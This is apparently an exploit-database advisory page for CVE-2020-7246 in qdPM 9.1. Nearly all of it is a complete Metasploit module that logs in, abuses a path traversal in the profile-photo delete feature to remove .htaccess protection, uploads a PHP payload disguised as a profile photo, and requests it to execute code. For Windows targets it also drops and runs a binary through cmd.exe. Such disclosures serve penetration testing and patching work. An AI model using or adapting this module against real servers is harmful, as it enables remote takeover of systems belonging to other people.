qdPM 9.1 Authenticated Shell Upload

2022.09.29
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)', 'Description' => %q{ A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier. An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rishal Dwivedi (Loginsoft)', # Discovery 'Leon Trappett (thepcn3rd)', # PoC 'Giacomo Casoni' # Metasploit ], 'References' => [ ['CVE', '2020-7246'], ['EDB', '50175'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => %w[linux php], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-11-21', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => ['CRASH_SAFE'], 'Reliability' => ['IOC_IN_LOGS'], 'SideEffects' => ['REPEATABLE_SESSION'] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']), OptString.new('EMAIL', [true, 'The email to login with']), OptString.new('PASSWORD', [true, 'The password to login with']) ] ) self.needs_cleanup = true end def check uri = normalize_uri(uri, '/index.php') res = send_request_raw({ 'uri' => uri }) if res.nil? return Exploit::CheckCode::Unknown end login_page = res.get_html_document begin version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f rescue StandardError return Exploit::CheckCode::Unknown end version = Rex::Version.new(version_num) if version <= Rex::Version.new('9.1') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def get_write_exec_payload_win(fname, _data) p = Rex::Text.encode_base64(generate_payload_exe) php = %| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); exec("C:\\Windows\\System32\\cmd.exe /c #{fname}"); ?> | php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ') return php end def login(base, username, password) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("#{base}/index.php/login"), 'keep_cookies' => true }) login_page = res.get_html_document csrf_token = login_page.at("input[name='login[_csrf_token]']/@value") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, 'login[_csrf_token]' => csrf_token }, 'keep_cookies' => true, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}/#{base}/index.php/login" } }) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("#{base}/index.php/myAccount"), 'keep_cookies' => true, 'headers' => { 'Host' => rhost.to_s } }) account_page = res.get_html_document begin userid = account_page.at("input[@name='users[id]']/@value").text.strip rescue StandardError print_error('The designated admin account does not have a user ID.') return {} end username = account_page.at("input[@name='users[name]']/@value").text.strip csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip opts = { 'user_id' => userid, 'name' => username, 'csrf_token' => csrftoken_ } return opts end def upload_php(base, opts) fname = opts['filename'] php_payload = opts['data'] user_id = opts['user_id'] email = opts['email'] csrf_token = opts['csrf_token'] data = [ { 'name' => 'sf_method', 'data' => 'put' }, { 'name' => 'users[id]', 'data' => user_id }, { 'name' => 'users[photo_preview]', 'data' => '.htaccess' }, { 'name' => 'users[_csrf_token]', 'data' => csrf_token }, { 'name' => 'users[new_password]', 'data' => '' }, { 'name' => 'users[email]', 'data' => email }, { 'name' => 'extra_fields[9]', 'data' => '' }, { 'name' => 'users[remove_photo]', 'data' => '1' } ] send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/myAccount/update"), 'vars_form_data' => data, 'keep_cookies' => true, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount" } ) data = [ { 'name' => 'sf_method', 'data' => 'put' }, { 'name' => 'users[id]', 'data' => user_id }, { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' }, { 'name' => 'users[_csrf_token]', 'data' => csrf_token }, { 'name' => 'users[new_password]', 'data' => '' }, { 'name' => 'users[email]', 'data' => email }, { 'name' => 'extra_fields[9]', 'data' => '' }, { 'name' => 'users[remove_photo]', 'data' => '1' } ] send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/myAccount/update"), 'vars_form_data' => data, 'keep_cookies' => true, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount" } ) data = [ { 'name' => 'sf_method', 'data' => 'put' }, { 'name' => 'users[id]', 'data' => user_id }, { 'name' => 'users[_csrf_token]', 'data' => csrf_token }, { 'name' => 'users[new_password]', 'data' => '' }, { 'name' => 'users[email]', 'data' => email }, { 'name' => 'extra_fields[9]', 'data' => '' }, { 'name' => 'users[remove_photo]', 'data' => '1' }, { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname } ] res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/myAccount/update"), 'vars_form_data' => data, 'keep_cookies' => true, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount" } }) return res.code == 302 end def exec_php(base, _opts) res = send_request_cgi({ 'uri' => normalize_uri("#{base}/index.php/myAccount"), 'keep_cookies' => true }) home_page = res.get_html_document backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip register_file_for_cleanup(backdoor) send_request_cgi({ 'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}") }) end def exploit uri = normalize_uri(target_uri.path) user = datastore['EMAIL'] pass = datastore['PASSWORD'] print_status("Attempt to login with '#{user}:#{pass}'") opts = login(uri, user, pass) if opts.empty? print_error('Login unsuccessful or bad (admin) user') return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" case target['Platform'] when 'php' p = get_write_exec_payload when 'linux' p = get_write_exec_payload(unlink_self: true) when 'win' bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" bin = generate_payload_exe p = get_write_exec_payload_win(bin_name.to_s, bin) print_warning("#{bin_name} will require manual cleanup") end print_status("Uploading PHP payload (#{p.length} bytes)...") data = { 'email' => user.to_s, 'filename' => php_fname, 'data' => p } data = data.merge(opts) uploader = upload_php(uri, data) if !uploader print_error('Unable to upload') return end print_status("Executing '#{php_fname}'") exec_php(uri, opts) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top